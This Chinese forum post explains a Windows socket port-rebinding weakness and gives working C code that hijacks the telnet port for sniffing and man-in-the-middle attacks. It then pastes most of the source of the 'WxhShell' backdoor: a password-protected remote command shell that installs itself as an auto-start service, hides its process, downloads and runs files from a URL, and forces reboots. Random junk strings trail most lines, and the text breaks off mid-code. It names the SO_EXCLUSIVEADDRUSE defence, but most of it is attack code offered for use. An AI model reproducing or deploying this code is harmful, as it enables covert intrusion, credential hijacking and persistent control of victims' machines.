社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17946阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <2@V$$Qg.~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'au7rX(  
k`ulDQu  
  saddr.sin_family = AF_INET; u hW @ Y+  
%s<7 M@]f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b3]QH h/  
8L]em&871  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >Z@^R7_W  
F)rU* i7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Nr 5h%<` I  
3.,O7 k7y  
  这意味着什么?意味着可以进行如下的攻击: S?TyC";!  
(|H1zO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Qz6Ry\u  
Ni "n_Yun  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Dg(882#_  
=w&JDj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J;"66ue(d  
aF2vw{wT}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Tv2d?y  
Z<+Ipj&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0RmQfD>  
O%feBe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LA?h+)  
sswYwU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Bs7/<$9K/  
mT  enzIp  
  #include =To}yJ#  
  #include 0G@sj7)]  
  #include h2M>4c  
  #include    !##OQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7&-i :2  
  int main() Ps=OL\i  
  { B+W 4r9#  
  WORD wVersionRequested; cVCylR U"  
  DWORD ret; ON"F h'?  
  WSADATA wsaData; 8:s" ^YLN  
  BOOL val; mc37Y.  
  SOCKADDR_IN saddr; b3Nr>(Z<}  
  SOCKADDR_IN scaddr; 5k/Y7+*?E  
  int err; qRy<W  
  SOCKET s; T#&tf^;  
  SOCKET sc; gG5@ KD6k  
  int caddsize; *htv:Sr  
  HANDLE mt; ,|RS]I>X  
  DWORD tid;   )y8 u+5^  
  wVersionRequested = MAKEWORD( 2, 2 ); 8)n799<.  
  err = WSAStartup( wVersionRequested, &wsaData ); !e+ex"7  
  if ( err != 0 ) { w#ha ^4  
  printf("error!WSAStartup failed!\n"); o1I8l7  
  return -1; PU| X+V>  
  } `yiw<9yp2  
  saddr.sin_family = AF_INET; Cbw@:+%J{  
   HHd;<%q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FwD"Pc2  
doeYc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ci{,e%  
  saddr.sin_port = htons(23); GI:J9TS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~{- zj  
  { C9+`sFau@  
  printf("error!socket failed!\n"); g~,"C8-H  
  return -1; jN. '%5Q?H  
  } Qv~KGd9  
  val = TRUE; Q#+y}pOLP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _; 7{1n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #9=as Y  
  { Z.:g8Xl-6  
  printf("error!setsockopt failed!\n"); lN@SfM4\  
  return -1; !2]eVO  
  } df@r2 /Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6[cC1a3r:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 vd0;33$L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,LD[R1TU8  
3 *0/<1f1!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c& &^D o  
  { 'x'.[=;  
  ret=GetLastError(); P'wn$WE[n\  
  printf("error!bind failed!\n"); (A@~]N ,U/  
  return -1; Rn] `_[)*~  
  } Na6z1&wS  
  listen(s,2); <K6:"  
  while(1) S(bYN[U  
  { RZKdh}B?\  
  caddsize = sizeof(scaddr); 2h Wtpus  
  //接受连接请求 h?cf)L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fU?P__zU4  
  if(sc!=INVALID_SOCKET) e15_$M;RW  
  { .rfKItd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Z %?: CA  
  if(mt==NULL) mPhrMcL  
  { Ab| t E5%  
  printf("Thread Creat Failed!\n"); ui _nvD:  
  break; Q7<_> )e^  
  } 5X8GR5P  
  } Io8h 8N-  
  CloseHandle(mt); d#Hl3]wT  
  } kX0hRX  
  closesocket(s); p_ H;|m9  
  WSACleanup(); vUlGE  
  return 0; PAYbsn  
  }   D/& 8[Z/Cn  
  DWORD WINAPI ClientThread(LPVOID lpParam) iR_j h=2{  
  { x:Mh&dq?  
  SOCKET ss = (SOCKET)lpParam; N*vBu `  
  SOCKET sc; '{e9Vh<x  
  unsigned char buf[4096]; pb>TUKvT&  
  SOCKADDR_IN saddr; 6oh\#v3zV  
  long num; r8]y1 Om<  
  DWORD val; V5]}b[X  
  DWORD ret; j=&]=0F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Wc6Jgpl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uv&??F]/  
  saddr.sin_family = AF_INET; D's Tv}P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pQ:7%+Om  
  saddr.sin_port = htons(23); y;'yob  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i. O670D  
  { A>C&`A=-  
  printf("error!socket failed!\n"); U04TVQn`  
  return -1;  j<BW/  
  } U- b(  
  val = 100; PT t#Ixn,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @e`%'  
  { REEs}88);'  
  ret = GetLastError(); J(0E'o{ug  
  return -1; D9hV`fA  
  } %MA o<,ha  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5X4 #T&.  
  { >#9 f{  
  ret = GetLastError(); mNc?`G_R  
  return -1; [ 2WJ];FJ  
  } {~L{FG)O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;7;=)/-  
  { +-s$Htx  
  printf("error!socket connect failed!\n"); eUY/H1  
  closesocket(sc); ]RBT9@-:U  
  closesocket(ss); -k4w$0)  
  return -1; R]LRgfi9  
  } 5o v F$qn  
  while(1) D7X8yv1  
  { &3@ {?K  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IdHyd Y1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?.A~O-w  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =hw&2c  
  num = recv(ss,buf,4096,0); [osIQ!u;:  
  if(num>0) X-lB1uq^  
  send(sc,buf,num,0); e1Ne{zg~  
  else if(num==0) rAv)k&l  
  break; PUU "k:{  
  num = recv(sc,buf,4096,0); QsO%m  
  if(num>0) \/wbk`2  
  send(ss,buf,num,0); sxP1. = W  
  else if(num==0) vO?\u`vY  
  break; }|KNw*h $  
  } &d%0[Ui`  
  closesocket(ss); x>C_O\  
  closesocket(sc); g-4m.;  
  return 0 ; yA+ NRWWj  
  } E]aQK.  
5 R*  
?Q?=I,2bP  
========================================================== oJ:\8>)9  
.!oYIF*0zC  
下边附上一个代码,,WXhSHELL Xur{nk~?  
{E 'go]  
========================================================== hOOkf mOM  
? "+g6II  
#include "stdafx.h" cZb5h 9  
g,k} nkIT  
#include <stdio.h> rDD,eNjG  
#include <string.h> }ldOxJSB?  
#include <windows.h> w%3*T#tp  
#include <winsock2.h> &E/0jxM1  
#include <winsvc.h> 4qYT  
#include <urlmon.h> U8>M`e"D  
?z[k.l+6w  
#pragma comment (lib, "Ws2_32.lib") s7789pR  
#pragma comment (lib, "urlmon.lib") *XCgl*% *  
WDF;`o*3  
#define MAX_USER   100 // 最大客户端连接数 ;ndwVZ~,  
#define BUF_SOCK   200 // sock buffer 2F z;TNS  
#define KEY_BUFF   255 // 输入 buffer MsD@pa  
j%q,]HCANh  
#define REBOOT     0   // 重启 u)hr  
#define SHUTDOWN   1   // 关机 f[XsnN2  
e I^Q!b8n  
#define DEF_PORT   5000 // 监听端口 aioN)V  
 BH<jnQ  
#define REG_LEN     16   // 注册表键长度 ozCH1V{p  
#define SVC_LEN     80   // NT服务名长度 cns~)j~  
5McOSy  
// 从dll定义API 4WAs_~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^*$lCUv8p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E S>iM)M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [YTOrN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N!Q~?/!d  
g[%iVZ  
// wxhshell配置信息 lQ{o[axT  
struct WSCFG { &tjv.t  
  int ws_port;         // 监听端口 4b@ Awtk  
  char ws_passstr[REG_LEN]; // 口令 O:J;zv\  
  int ws_autoins;       // 安装标记, 1=yes 0=no tK0Ksnl^  
  char ws_regname[REG_LEN]; // 注册表键名 (rT1wup  
  char ws_svcname[REG_LEN]; // 服务名 -#y^$$i0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {L#+v~d^'n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4iPxtVT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c]x'}K c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  L7rEMq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CKuf'h#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 37U2Tb!y '  
LP{@r ic  
}; .wPu #*  
.S6u{B  
// default Wxhshell configuration /ygC_,mx  
struct WSCFG wscfg={DEF_PORT, S [=l/3c  
    "xuhuanlingzhe", T1_qAz+  
    1, ssUm1F\  
    "Wxhshell", \Um &  
    "Wxhshell", {0IC2jE  
            "WxhShell Service", xE"QX N  
    "Wrsky Windows CmdShell Service", ? 3t]9z  
    "Please Input Your Password: ", 5;:964Et  
  1, G,-x+e"  
  "http://www.wrsky.com/wxhshell.exe", 66Tx>c"H  
  "Wxhshell.exe" cg| C S?  
    }; qN@-H6D1=  
_yu_Ev}R  
// 消息定义模块 }~bx==SF6!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ln*_mM/Q%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '7ps_pz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M!#[(:  
char *msg_ws_ext="\n\rExit."; lDf:~  
char *msg_ws_end="\n\rQuit."; IV]2#;OO?  
char *msg_ws_boot="\n\rReboot..."; %I^y@2A4`  
char *msg_ws_poff="\n\rShutdown..."; Y)](jU%o  
char *msg_ws_down="\n\rSave to "; 0XLoGQ=  
rl0|)j  
char *msg_ws_err="\n\rErr!"; [7+dZL[  
char *msg_ws_ok="\n\rOK!"; 5n#@,V.O/  
\1H~u,a  
char ExeFile[MAX_PATH]; IS [&V&.n  
int nUser = 0; -+H?0XN  
HANDLE handles[MAX_USER]; g-O}e4  
int OsIsNt; 18{" @<wIs  
Qf<@ :T*  
SERVICE_STATUS       serviceStatus; r-]HmY x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A3cW8 OClz  
^cz;UQX~}  
// 函数声明 |d0,54!  
int Install(void);  aa10vV  
int Uninstall(void); ^N2N>^'&1.  
int DownloadFile(char *sURL, SOCKET wsh); .V'=z|   
int Boot(int flag); ~V?3A/]  
void HideProc(void); #fTPo:*t  
int GetOsVer(void); +i1\],7  
int Wxhshell(SOCKET wsl); _=d X01  
void TalkWithClient(void *cs); S-D=-{@  
int CmdShell(SOCKET sock); )?D w)s5  
int StartFromService(void); & ~*qTojj  
int StartWxhshell(LPSTR lpCmdLine); Btu=MUS  
d%C :%d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ad'b{C%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RbA.%~jjx*  
SeX:A)*ez%  
// 数据结构和表定义 ?RI&7699+  
SERVICE_TABLE_ENTRY DispatchTable[] = tM&;b?bJ[  
{ @b,&b6V  
{wscfg.ws_svcname, NTServiceMain}, wNt-mgir-Q  
{NULL, NULL} CTOrBl$70  
}; U 2@Mxw  
ocbNf'W;  
// 自我安装 m=.}}DcSs  
int Install(void) r|!r!V8j  
{ zJCm0HLJ  
  char svExeFile[MAX_PATH]; f:6%DT~a&C  
  HKEY key; Wgr`)D  
  strcpy(svExeFile,ExeFile); 3.vQ~Fvl  
(}:n#|,{M  
// 如果是win9x系统,修改注册表设为自启动 o 2Okc><z  
if(!OsIsNt) { Y#[>j4<T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bo%v(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oY$L  
  RegCloseKey(key); "2FI3M =  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <z+b88D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \'AS@L"Wj^  
  RegCloseKey(key); sKU?"|G81G  
  return 0; ,*}5xpX  
    } 7Rix=*  
  } x-3!sf@  
} hr)CxsPoRQ  
else { y5AJ1A6?E  
#FL\9RXy  
// 如果是NT以上系统,安装为系统服务 LNR~F_64Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); { 95u^S=  
if (schSCManager!=0) <F7g;s'q9  
{ X8Ld\vZYn  
  SC_HANDLE schService = CreateService X|3l*FL  
  ( -jJw wOm  
  schSCManager, <GthJr>1D  
  wscfg.ws_svcname, u^{6U(%  
  wscfg.ws_svcdisp, 5|^{t00T~  
  SERVICE_ALL_ACCESS, ./ !6M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _s> ZY0  
  SERVICE_AUTO_START, %C^%Oq_k  
  SERVICE_ERROR_NORMAL, OYC\+ =  
  svExeFile, 4EB&Zmg[K  
  NULL, YEB@p.  
  NULL,  :Ky *AI  
  NULL, !R/- |Kjy  
  NULL, lxvRF93a.  
  NULL $4j$c|S!  
  ); 5?()o}VjAO  
  if (schService!=0) 3{;W!/&>  
  { 9*lkx#  
  CloseServiceHandle(schService); 5_}e?T&s  
  CloseServiceHandle(schSCManager); !Ui"<0[,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %j*i=  
  strcat(svExeFile,wscfg.ws_svcname); )f6:{ma  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l*+5WrOS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _P]!J~$5  
  RegCloseKey(key); ZJ7<!?6  
  return 0; xQetAYP`  
    } ggR--`D[  
  } .{@aQwN  
  CloseServiceHandle(schSCManager); xWa96U[  
} Qn*a#]p  
}  p@se 5~  
`Rc7*2I)l  
return 1; d*A(L5;@  
} [3#A)#kWm  
e~wJO~  
// 自我卸载 /K WR08ftp  
int Uninstall(void) uDZ$'a  
{ s, 8a1o  
  HKEY key; G\U'_G>  
KfVLb4@16_  
if(!OsIsNt) { YsHZFF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i(k]}Di:  
  RegDeleteValue(key,wscfg.ws_regname); 8sV_@<l<X  
  RegCloseKey(key); BIr24N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  / hl:p  
  RegDeleteValue(key,wscfg.ws_regname); =`l).GnN2`  
  RegCloseKey(key); { _]'EK/w  
  return 0; h6Vm;{ ~  
  } jr9/  
} y+P iH  
} -a}d @&  
else { dK45&JHoW^  
HcrI3v|6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8] BOq:  
if (schSCManager!=0) 1;4 ] HNI  
{ #''q :^EQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rU {E}  
  if (schService!=0) bS9<LQ*  
  { 0K&\5xXM  
  if(DeleteService(schService)!=0) { Viu+#J;l  
  CloseServiceHandle(schService); v .ftfL!  
  CloseServiceHandle(schSCManager); ,;2x.We  
  return 0; J"x M[c2  
  } x-e?94}^  
  CloseServiceHandle(schService); r95l.v  
  } "^~>aVuXf  
  CloseServiceHandle(schSCManager); 7D;g\{>M  
} j3W)5ZX  
} E!eBQ[@  
'kD~tpZ  
return 1; #jja#PF]7  
} ;'B\l@U\  
~$zodrS9  
// 从指定url下载文件 Uv-xP(X  
int DownloadFile(char *sURL, SOCKET wsh) :V%XEN)  
{ UO& p2   
  HRESULT hr; JERWz~n}  
char seps[]= "/"; 3']yjj(gHr  
char *token; _Vs\:tygs  
char *file; Nz ,8NM]  
char myURL[MAX_PATH]; T|h/n\fx)a  
char myFILE[MAX_PATH]; +N9(o+UrU  
QX*HvT  
strcpy(myURL,sURL); tsFwFB*  
  token=strtok(myURL,seps); mv1_vF:  
  while(token!=NULL) QDRgVP  
  { ?T\m V}  
    file=token; l"\W]'T:r  
  token=strtok(NULL,seps); \gh`P S-B  
  } WrR97]7t  
@+v;B:  
GetCurrentDirectory(MAX_PATH,myFILE);  [>'P  
strcat(myFILE, "\\"); 1!x-_h}  
strcat(myFILE, file); =Of!1TR(  
  send(wsh,myFILE,strlen(myFILE),0); *N0R3da  
send(wsh,"...",3,0); $?l?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sW":~=H  
  if(hr==S_OK) #K3A{ jb,  
return 0; a;a2x .<  
else CaZ{UGokL  
return 1; ccWz,[  
p2|BbC\N  
} EH'?wh|Yp  
"e4hPY#  
// 系统电源模块 %}U-g"I  
int Boot(int flag) {=AK  |  
{ iB Ld*B|#K  
  HANDLE hToken; GRanR'xG  
  TOKEN_PRIVILEGES tkp; J^@0Ff;=5^  
EV:y}  
  if(OsIsNt) { ("t; 2Mw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c1IK9X*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ])= k";76  
    tkp.PrivilegeCount = 1;  *q8L$D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .TN9N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hi>sDU< x  
if(flag==REBOOT) { <}c`jN!z.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <y(uu(c  
  return 0; Z#wmEc.}C  
} ^/Id!Y7  
else { $IL7c]Gw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eCY gi7?  
  return 0; ^X%{]b K  
} [~;#]az  
  } t@Qs&DZ7k  
  else { G[YbgG=9Y  
if(flag==REBOOT) { ,zy4+GW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xz FV]  
  return 0; z G {1;  
} ;r[@;2p*(  
else { dkuB{C,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &~+lXNXF  
  return 0; 1.]Py"@:  
} $/%|0tQ  
} jUq^$+N  
/@5X0m  
return 1; fiSc\C~  
} Q:\I %o  
#c V_p  
// win9x进程隐藏模块 EPCu  
void HideProc(void) bQlShVJL  
{ JVAJL q  
(]Z%&>*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n&x#_B-  
  if ( hKernel != NULL ) 5 N(/K.^  
  { 3QDz0ct  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -Cxk#-sb#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zrjqB3R4@O  
    FreeLibrary(hKernel); xp%,@] p  
  } mnM#NT5]  
8t!/O p ?  
return; ^tIi;7k  
} "E;]?s9x  
j_E$C.XU{g  
// 获取操作系统版本 M3j_sd'N  
int GetOsVer(void) >3 Q%Yn  
{ !Y3w]_x[:  
  OSVERSIONINFO winfo; J7BfH,o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ij hC@5qk  
  GetVersionEx(&winfo); DCv~^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3&kHAXzM  
  return 1; y; Up@.IG  
  else QDS=M]  
  return 0; *5iNw_&  
} ]<mXf~zg  
95;q ] =U  
// 客户端句柄模块 Kw}-<y  
int Wxhshell(SOCKET wsl) -C wx %  
{ ZYoWz(  
  SOCKET wsh; N^A&DrMF  
  struct sockaddr_in client; /#M|)V*wn  
  DWORD myID; *P&ZE   
 Hq h  
  while(nUser<MAX_USER) _NAKVzo-  
{ GMLq3_'  
  int nSize=sizeof(client); -E#!`~&V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O0#wM-M  
  if(wsh==INVALID_SOCKET) return 1; DG&14c>g  
>Liv].  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U]lXw+&  
if(handles[nUser]==0) DQ^yqBVgQ  
  closesocket(wsh); oJy]n9  
else [^B04x@  
  nUser++; _ 97  
  } w? A&XB+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yzt6   
|D u.aN  
  return 0; Q>u$tLX&  
} +rbj%v}Fh  
K'~wlO@O  
// 关闭 socket _>B0q|]j4'  
void CloseIt(SOCKET wsh) 2-i>ymoOS  
{ b(dIl)Y4 :  
closesocket(wsh); uYAPGs#k  
nUser--; O:3pp8  
ExitThread(0); a?CV;9   
} 2xH9O{  
Ob2H7 !  
// 客户端请求句柄 Af5O;v\  
void TalkWithClient(void *cs) %zQME6WELz  
{ MK 7S*N1  
't \:@-tQ  
  SOCKET wsh=(SOCKET)cs; pb_+_(/c  
  char pwd[SVC_LEN]; TOV531   
  char cmd[KEY_BUFF]; {~ ZSqd  
char chr[1]; FLJdnL  
int i,j; Rm 1obP  
%iY-}uhO  
  while (nUser < MAX_USER) { Yw<K!'C  
pc<")9U%/  
if(wscfg.ws_passstr) { WK]SHiHD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >I Aw Nr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l2KR=& SX/  
  //ZeroMemory(pwd,KEY_BUFF); ?"\`u;  
      i=0; v bzeabm  
  while(i<SVC_LEN) { ipnvw4+  
.?9+1.`  
  // 设置超时 ?c0OrvM  
  fd_set FdRead; a02;Zl  
  struct timeval TimeOut; ?as)vYP  
  FD_ZERO(&FdRead); KHKf+^uu  
  FD_SET(wsh,&FdRead); x(h(a#,r  
  TimeOut.tv_sec=8; HJ]\VP9Zb  
  TimeOut.tv_usec=0; JX(JZ/8B^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h=um t<&D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hN$6Kx>{  
Mh>H5l.1i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ufm`h)N  
  pwd=chr[0]; $+)2CXQe5  
  if(chr[0]==0xd || chr[0]==0xa) { ;|e{J$  
  pwd=0; ]kx)/n-K  
  break; jftoqK- p  
  } \k_0wt2x1  
  i++; :<4:h.gO8  
    } FW(y#Fmqs  
rVq=,>M9  
  // 如果是非法用户,关闭 socket T1c2J,+}R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mw";l$Aq}  
} [_Y\TdR  
bvzeU n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $A,fO~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "*|plB  
w35r\x +  
while(1) { {X<mr~  
7F.t>$'  
  ZeroMemory(cmd,KEY_BUFF); U8kH'OD  
_In[Z?P}  
      // 自动支持客户端 telnet标准   6?Ul)'  
  j=0; C#[YDcp4  
  while(j<KEY_BUFF) { $/5<f<%u&)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fg"@qE-;  
  cmd[j]=chr[0]; !fr /WxJ  
  if(chr[0]==0xa || chr[0]==0xd) { V*xT5TljS-  
  cmd[j]=0; dHc38zp  
  break; |BhfW O8p  
  } &#aQ mgDF  
  j++;  `W< 7.  
    } &-W5 T?Sl  
2f ]CnD0$  
  // 下载文件 tmiRv.Mhn<  
  if(strstr(cmd,"http://")) { "I?sz)pxG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QPjmIO  
  if(DownloadFile(cmd,wsh)) :Jwc'y-]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gjq:-kX\  
  else @gc lks/M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^^QW<  
  } N#'+p5|>  
  else { |&+g,A _w  
(qT_4b~  
    switch(cmd[0]) { pe=Ou0  
  5"Q3,4f  
  // 帮助 &hWLG<IE  
  case '?': { i"2[OM\j7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fBS`b[ x  
    break; b;K>Q!(|  
  } 6z@OGExmd#  
  // 安装 WV_y@H_  
  case 'i': { de]r9$ D  
    if(Install()) 9H:5XR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ::Y   
    else ~Fv&z'R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9.ZhkvR4A  
    break; HubSmbS1  
    } C-4NiXa  
  // 卸载 -=,%9r  
  case 'r': { [?$ZB),L8  
    if(Uninstall()) 0 ;kcSz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z)Y--`*  
    else 2MwR jh_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c(Zar&z,E  
    break; ]bCeJE.+)  
    } cn#JO^8  
  // 显示 wxhshell 所在路径 'bp*hqG[  
  case 'p': { xxOo8+kA  
    char svExeFile[MAX_PATH]; `"QUA G  
    strcpy(svExeFile,"\n\r"); g{w IdV  
      strcat(svExeFile,ExeFile); (v(!l=3  
        send(wsh,svExeFile,strlen(svExeFile),0); bUbM}  
    break; D ODo !  
    } MVHj?  
  // 重启 &RP!9{F<  
  case 'b': { <y1V2Np  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LcCb[r  
    if(Boot(REBOOT)) 4q o4g+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9'F-D  
    else { 6J0HaL  
    closesocket(wsh); $~c?qU  
    ExitThread(0); .b>1u3  
    } GczGW4\P'  
    break; Ai\"w0  
    }  s#om  
  // 关机 V3baEy>=z  
